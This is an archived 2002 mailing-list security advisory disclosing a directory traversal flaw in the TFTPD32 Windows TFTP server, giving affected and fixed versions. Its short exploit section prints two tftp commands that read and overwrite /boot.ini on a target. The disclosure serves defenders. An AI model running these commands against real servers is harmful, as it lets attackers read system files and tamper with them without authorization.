Date: Mon, 18 Nov 2002 22:42:04 +0200
From: Aviram Jenik <[email protected]>
To: [email protected]Subject: TFTPD32 Directory Traversal Vulnerability
Advisory available at:
http://www.securiteam.com/windowsntfocus/6D00D2061G.html
TFTPD32 Directory Traversal Vulnerability
--------------------------------------------
SUMMARY
<http://tftpd32.jounin.net>; TFTPD32 is a Freeware TFTP server for
windows 9x/NT/XP. It provides an implementation of the TFTPv2 protocol
(specified in the RFC 1350).
A vulnerability in the product allows remote attackers to view any file
on the system as well as write to arbitrary locations.
DETAILS
Vulnerable systems:
* TFTP32 version 2.50.2 and prior
Immune systems:
* TFTP32 version 2.51
Exploit:
Getting files:
tftp host GET /boot.ini
Storing files:
tftp host PUT myfile /boot.ini
ADDITIONAL INFORMATION
The information has been provided by <mailto:[email protected]>
SecurITeam Experts.
--
Aviram Jenik
Beyond Security Ltd.
http://www.BeyondSecurity.comhttp://www.SecuriTeam.com
Know that you're safe:
http://www.AutomatedScanning.com
